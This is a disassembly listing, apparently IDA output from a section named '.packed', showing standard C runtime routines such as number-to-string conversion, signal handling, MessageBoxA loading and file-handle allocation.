		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_430270
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_430270
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+14h], 0Ah
		jnz	short loc_4303C1
		cmp	dword ptr [ebp+0Ch], 0
		jg	short loc_4303C1
		jl	short loc_4303B8
		cmp	dword ptr [ebp+8], 0
		jnb	short loc_4303C1

loc_4303B8:				; CODE XREF: .packed:004303B0j
		mov	dword ptr [ebp-4], 1
		jmp	short loc_4303C8
; ---------------------------------------------------------------------------

loc_4303C1:				; CODE XREF: .packed:004303A8j
					; .packed:004303AEj ...
		mov	dword ptr [ebp-4], 0

loc_4303C8:				; CODE XREF: .packed:004303BFj
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4303F0
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4303F0	proc near		; CODE XREF: .packed:004303DCp
					; .packed:00430505p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_10], 0
		jz	short loc_430424
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	ecx, [ebp+arg_4]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ecx

loc_430424:				; CODE XREF: sub_4303F0+10j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx

loc_43042A:				; CODE XREF: sub_4303F0+9Fj
					; sub_4303F0+A7j
		mov	eax, [ebp+arg_C]
		xor	ecx, ecx
		push	ecx
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4214F0
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		push	edx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421480
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+var_C], 9
		jbe	short loc_430477
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_43048B
; ---------------------------------------------------------------------------

loc_430477:				; CODE XREF: sub_4303F0+6Fj
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_43048B:				; CODE XREF: sub_4303F0+85j
		cmp	[ebp+arg_4], 0
		ja	short loc_43042A
		jb	short loc_430499
		cmp	[ebp+arg_0], 0
		ja	short loc_43042A

loc_430499:				; CODE XREF: sub_4303F0+A1j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax

loc_4304A8:				; CODE XREF: sub_4303F0+EAj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_4304A8
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_4303F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4303F0
		mov	eax, [ebp+10h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_430523
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_430528

loc_430523:				; CODE XREF: .packed:0043051Bj
		jmp	loc_4306F8
; ---------------------------------------------------------------------------

loc_430528:				; CODE XREF: .packed:00430521j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_430544
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_430544
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_430544
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_430621

loc_430544:				; CODE XREF: .packed:0043052Cj
					; .packed:00430532j ...
		push	1
		call	sub_423280
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_43055A
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_43059F

loc_43055A:				; CODE XREF: .packed:00430552j
		cmp	dword_4F35FC, 0
		jnz	short loc_43059F
		push	1
		push	offset sub_430740
		call	dword_4F53F8	; SetConsoleCtrlHandler
		cmp	eax, 1
		jnz	short loc_430581
		mov	dword_4F35FC, 1
		jmp	short loc_43059F
; ---------------------------------------------------------------------------

loc_430581:				; CODE XREF: .packed:00430573j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_429AA0
		mov	[eax], esi
		push	1
		call	sub_423320
		add	esp, 4
		jmp	loc_4306F8
; ---------------------------------------------------------------------------

loc_43059F:				; CODE XREF: .packed:00430558j
					; .packed:00430561j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_430612
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, byte_43071F[eax]
		jmp	off_43070B[edx*4]

loc_4305C6:				; DATA XREF: .packed:off_43070Bo
		mov	ecx, dword_4F35EC
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4F35EC, edx
		jmp	short loc_430612
; ---------------------------------------------------------------------------

loc_4305DA:				; CODE XREF: .packed:004305BFj
					; DATA XREF: .packed:00430713o
		mov	eax, dword_4F35F0
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4F35F0, ecx
		jmp	short loc_430612
; ---------------------------------------------------------------------------

loc_4305ED:				; CODE XREF: .packed:004305BFj
					; DATA XREF: .packed:00430717o
		mov	edx, dword_4F35F4
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4F35F4, eax
		jmp	short loc_430612
; ---------------------------------------------------------------------------

loc_430600:				; CODE XREF: .packed:004305BFj
					; DATA XREF: .packed:0043070Fo
		mov	ecx, dword_4F35F8
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4F35F8, edx

loc_430612:				; CODE XREF: .packed:004305B2j
					; .packed:004305BFj ...
		push	1
		call	sub_423320
		add	esp, 4
		jmp	loc_4306F3
; ---------------------------------------------------------------------------

loc_430621:				; CODE XREF: .packed:0043053Ej
		cmp	dword ptr [ebp+8], 8
		jz	short loc_430638
		cmp	dword ptr [ebp+8], 4
		jz	short loc_430638
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_430638
		jmp	loc_4306F8
; ---------------------------------------------------------------------------

loc_430638:				; CODE XREF: .packed:00430625j
					; .packed:0043062Bj ...
		call	sub_428EE0
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_4543C8
		jnz	short loc_430695
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_454448
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_430693
		mov	ecx, dword_454448
		push	ecx
		push	offset dword_4543C8
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		jmp	short loc_430695
; ---------------------------------------------------------------------------

loc_430693:				; CODE XREF: .packed:00430674j
		jmp	short loc_4306F8
; ---------------------------------------------------------------------------

loc_430695:				; CODE XREF: .packed:0043064Aj
					; .packed:00430691j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_430A20
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_4306B3
		jmp	short loc_4306F8
; ---------------------------------------------------------------------------

loc_4306B3:				; CODE XREF: .packed:004306AFj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx

loc_4306BC:				; CODE XREF: .packed:loc_4306F1j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_4306F3
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_45444C
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_4306F1
		jmp	short loc_4306F3
; ---------------------------------------------------------------------------

loc_4306F1:				; CODE XREF: .packed:004306EDj
		jmp	short loc_4306BC
; ---------------------------------------------------------------------------

loc_4306F3:				; CODE XREF: .packed:0043061Cj
					; .packed:004306C5j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_430706
; ---------------------------------------------------------------------------

loc_4306F8:				; CODE XREF: .packed:loc_430523j
					; .packed:0043059Aj ...
		call	sub_429A90
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh

loc_430706:				; CODE XREF: .packed:004306F6j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_43070B	dd offset loc_4305C6	; DATA XREF: .packed:004305BFr
		dd offset loc_430600
		dd offset loc_4305DA
		dd offset loc_4305ED
		dd offset loc_430612
byte_43071F	db 0			; DATA XREF: .packed:004305B9r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430740	proc near		; DATA XREF: .packed:00430565o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1
		call	sub_423280
		add	esp, 4
		cmp	[ebp+arg_0], 0
		jnz	short loc_43076E
		mov	[ebp+var_8], offset dword_4F35EC
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 2
		jmp	short loc_430784
; ---------------------------------------------------------------------------

loc_43076E:				; CODE XREF: sub_430740+14j
		mov	[ebp+var_8], offset dword_4F35F0
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 15h

loc_430784:				; CODE XREF: sub_430740+2Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_430798
		push	1
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	short loc_4307CC
; ---------------------------------------------------------------------------

loc_430798:				; CODE XREF: sub_430740+48j
		cmp	[ebp+var_C], 1
		jz	short loc_4307BD
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		push	1
		call	sub_423320
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	[ebp+var_C]
		add	esp, 4
		jmp	short loc_4307C7
; ---------------------------------------------------------------------------

loc_4307BD:				; CODE XREF: sub_430740+5Cj
		push	1
		call	sub_423320
		add	esp, 4

loc_4307C7:				; CODE XREF: sub_430740+7Bj
		mov	eax, 1

loc_4307CC:				; CODE XREF: sub_430740+56j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_430740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307E0	proc near		; CODE XREF: sub_4229A0+2E7p
					; sub_433010+Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		sub	ecx, 2
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 14h
		ja	loc_4308AE
		mov	eax, [ebp+var_20]
		xor	edx, edx
		mov	dl, byte_430A02[eax]
		jmp	off_4309EA[edx*4]

loc_430818:				; DATA XREF: .packed:off_4309EAo
		mov	[ebp+var_18], offset dword_4F35EC
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_4308B6
; ---------------------------------------------------------------------------

loc_430835:				; CODE XREF: sub_4307E0+31j
					; DATA XREF: .packed:004309F6o
		mov	[ebp+var_18], offset dword_4F35F0
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4308B6
; ---------------------------------------------------------------------------

loc_43084F:				; CODE XREF: sub_4307E0+31j
					; DATA XREF: .packed:004309FAo
		mov	[ebp+var_18], offset dword_4F35F4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4308B6
; ---------------------------------------------------------------------------

loc_430869:				; CODE XREF: sub_4307E0+31j
					; DATA XREF: .packed:004309F2o
		mov	[ebp+var_18], offset dword_4F35F8
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4308B6
; ---------------------------------------------------------------------------

loc_430883:				; CODE XREF: sub_4307E0+31j
					; DATA XREF: .packed:004309EEo
		call	sub_428EE0
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430A20
		add	esp, 8
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		jmp	short loc_4308B6
; ---------------------------------------------------------------------------

loc_4308AE:				; CODE XREF: sub_4307E0+20j
					; sub_4307E0+31j
					; DATA XREF: ...
		or	eax, 0FFFFFFFFh
		jmp	loc_4309E6
; ---------------------------------------------------------------------------

loc_4308B6:				; CODE XREF: sub_4307E0+50j
					; sub_4307E0+6Dj ...
		cmp	[ebp+var_C], 0
		jz	short loc_4308C6
		push	1
		call	sub_423280
		add	esp, 4

loc_4308C6:				; CODE XREF: sub_4307E0+DAj
		cmp	[ebp+var_1C], 1
		jnz	short loc_4308E3
		cmp	[ebp+var_C], 0
		jz	short loc_4308DC
		push	1
		call	sub_423320
		add	esp, 4

loc_4308DC:				; CODE XREF: sub_4307E0+F0j
		xor	eax, eax
		jmp	loc_4309E6
; ---------------------------------------------------------------------------

loc_4308E3:				; CODE XREF: sub_4307E0+EAj
		cmp	[ebp+var_1C], 0
		jnz	short loc_430900
		cmp	[ebp+var_C], 0
		jz	short loc_4308F9
		push	1
		call	sub_423320
		add	esp, 4

loc_4308F9:				; CODE XREF: sub_4307E0+10Dj
		push	3
		call	sub_41E8C0

loc_430900:				; CODE XREF: sub_4307E0+107j
		cmp	[ebp+arg_0], 8
		jz	short loc_430912
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_430912
		cmp	[ebp+arg_0], 4
		jnz	short loc_43093E

loc_430912:				; CODE XREF: sub_4307E0+124j
					; sub_4307E0+12Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+54h], 0
		cmp	[ebp+arg_0], 8
		jnz	short loc_43093E
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+58h], 8Ch

loc_43093E:				; CODE XREF: sub_4307E0+130j
					; sub_4307E0+149j
		cmp	[ebp+arg_0], 8
		jnz	short loc_430980
		mov	eax, dword_454440
		mov	[ebp+var_10], eax
		jmp	short loc_430957
; ---------------------------------------------------------------------------

loc_43094E:				; CODE XREF: sub_4307E0+19Cj
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx

loc_430957:				; CODE XREF: sub_4307E0+16Cj
		mov	edx, dword_454440
		add	edx, dword_454444
		cmp	[ebp+var_10], edx
		jge	short loc_43097E
		mov	eax, [ebp+var_10]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_43094E
; ---------------------------------------------------------------------------

loc_43097E:				; CODE XREF: sub_4307E0+186j
		jmp	short loc_430989
; ---------------------------------------------------------------------------

loc_430980:				; CODE XREF: sub_4307E0+162j
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax], 0

loc_430989:				; CODE XREF: sub_4307E0:loc_43097Ej
		cmp	[ebp+var_C], 0
		jz	short loc_430999
		push	1
		call	sub_423320
		add	esp, 4

loc_430999:				; CODE XREF: sub_4307E0+1ADj
		cmp	[ebp+arg_0], 8
		jnz	short loc_4309B0
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_1C]
		add	esp, 8
		jmp	short loc_4309BA
; ---------------------------------------------------------------------------

loc_4309B0:				; CODE XREF: sub_4307E0+1BDj
		mov	eax, [ebp+arg_0]
		push	eax
		call	[ebp+var_1C]
		add	esp, 4

loc_4309BA:				; CODE XREF: sub_4307E0+1CEj
		cmp	[ebp+arg_0], 8
		jz	short loc_4309CC
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_4309CC
		cmp	[ebp+arg_0], 4
		jnz	short loc_4309E4

loc_4309CC:				; CODE XREF: sub_4307E0+1DEj
					; sub_4307E0+1E4j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	[ecx+54h], edx
		cmp	[ebp+arg_0], 8
		jnz	short loc_4309E4
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+58h], ecx

loc_4309E4:				; CODE XREF: sub_4307E0+1EAj
					; sub_4307E0+1F9j
		xor	eax, eax

loc_4309E6:				; CODE XREF: sub_4307E0+D1j
					; sub_4307E0+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_4307E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_4309EA	dd offset loc_430818	; DATA XREF: sub_4307E0+31r
		dd offset loc_430883
		dd offset loc_430869
		dd offset loc_430835
		dd offset loc_43084F
		dd offset loc_4308AE
byte_430A02	db 0			; DATA XREF: sub_4307E0+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430A20	proc near		; CODE XREF: .packed:004306A0p
					; sub_4307E0+B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_430A2A:				; CODE XREF: sub_430A20+31j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jz	short loc_430A53
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_45444C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_430A53
		jmp	short loc_430A2A
; ---------------------------------------------------------------------------

loc_430A53:				; CODE XREF: sub_430A20+13j
					; sub_430A20+2Fj
		mov	eax, dword_45444C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_430A75
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_430A75
		mov	eax, [ebp+var_4]
		jmp	short loc_430A77
; ---------------------------------------------------------------------------

loc_430A75:				; CODE XREF: sub_430A20+43j
					; sub_430A20+4Ej
		xor	eax, eax

loc_430A77:				; CODE XREF: sub_430A20+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_430A20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_428EE0
		add	eax, 58h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430A90	proc near		; CODE XREF: .packed:00432019p
		push	ebp
		mov	ebp, esp
		call	sub_428EE0
		add	eax, 54h
		pop	ebp
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430AA0	proc near		; CODE XREF: sub_4229A0+2CEp
					; sub_42FF30+1B0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		cmp	dword_4F3600, 0
		jnz	short loc_430B13
		push	offset aUser32_dll_0 ; "user32.dll"
		call	dword_4F538C	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_430AE7
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4F5390	; GetProcAddress
		mov	dword_4F3600, eax
		cmp	dword_4F3600, 0
		jnz	short loc_430AEB

loc_430AE7:				; CODE XREF: sub_430AA0+28j
		xor	eax, eax
		jmp	short loc_430B57
; ---------------------------------------------------------------------------

loc_430AEB:				; CODE XREF: sub_430AA0+45j
		push	offset aGetactivewindo ; "GetActiveWindow"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4F5390	; GetProcAddress
		mov	dword_4F3604, eax
		push	offset aGetlastactivep ; "GetLastActivePopup"
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4F5390	; GetProcAddress
		mov	dword_4F3608, eax

loc_430B13:				; CODE XREF: sub_430AA0+14j
		cmp	dword_4F3604, 0
		jz	short loc_430B25
		call	dword_4F3604
		mov	[ebp+var_4], eax

loc_430B25:				; CODE XREF: sub_430AA0+7Aj
		cmp	[ebp+var_4], 0
		jz	short loc_430B41
		cmp	dword_4F3608, 0
		jz	short loc_430B41
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4F3608
		mov	[ebp+var_4], eax

loc_430B41:				; CODE XREF: sub_430AA0+89j
					; sub_430AA0+92j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4F3600

loc_430B57:				; CODE XREF: sub_430AA0+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_430AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430B60	proc near		; CODE XREF: .packed:loc_430FF2p
					; sub_4314E0:loc_431779p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_8], 0FFFFFFFFh
		push	12h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_430B8A
; ---------------------------------------------------------------------------

loc_430B81:				; CODE XREF: sub_430B60:loc_430D2Bj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax

loc_430B8A:				; CODE XREF: sub_430B60+1Fj
		cmp	[ebp+var_C], 40h
		jge	loc_430D30
		mov	ecx, [ebp+var_C]
		cmp	dword_4F3780[ecx*4], 0
		jz	loc_430C96
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F3780[edx*4]
		mov	[ebp+var_4], eax
		jmp	short loc_430BBD
; ---------------------------------------------------------------------------

loc_430BB4:				; CODE XREF: sub_430B60+F1j
					; sub_430B60:loc_430C81j
		mov	ecx, [ebp+var_4]
		add	ecx, 24h
		mov	[ebp+var_4], ecx

loc_430BBD:				; CODE XREF: sub_430B60+52j
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F3780[edx*4]
		add	eax, 480h
		cmp	[ebp+var_4], eax
		jnb	loc_430C86
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jnz	loc_430C81
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_430C29
		push	11h
		call	sub_423280
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_430C1F
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	dword_4F54A4	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx

loc_430C1F:				; CODE XREF: sub_430B60+A1j
		push	11h
		call	sub_423320
		add	esp, 4

loc_430C29:				; CODE XREF: sub_430B60+8Ej
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	dword_4F53A8	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_430C56
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	dword_4F53A4	; RtlLeaveCriticalSection
		jmp	loc_430BB4
; ---------------------------------------------------------------------------

loc_430C56:				; CODE XREF: sub_430B60+E2j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		sub	eax, dword_4F3780[edx*4]
		cdq
		mov	esi, 24h
		idiv	esi
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_430C86
; ---------------------------------------------------------------------------

loc_430C81:				; CODE XREF: sub_430B60+81j
		jmp	loc_430BB4
; ---------------------------------------------------------------------------

loc_430C86:				; CODE XREF: sub_430B60+6Fj
					; sub_430B60+11Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_430C91
		jmp	loc_430D30
; ---------------------------------------------------------------------------

loc_430C91:				; CODE XREF: sub_430B60+12Aj
		jmp	loc_430D2B
; ---------------------------------------------------------------------------

loc_430C96:				; CODE XREF: sub_430B60+3Fj
		push	79h
		push	offset aOsfinfo_c ; "osfinfo.c"
		push	2
		push	480h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_430D29
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dword_4F3780[eax*4], ecx
		mov	edx, dword_4F3880
		add	edx, 20h
		mov	dword_4F3880, edx
		jmp	short loc_430CDC
; ---------------------------------------------------------------------------

loc_430CD3:				; CODE XREF: sub_430B60+1B2j
		mov	eax, [ebp+var_4]
		add	eax, 24h
		mov	[ebp+var_4], eax

loc_430CDC:				; CODE XREF: sub_430B60+171j
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4F3780[ecx*4]
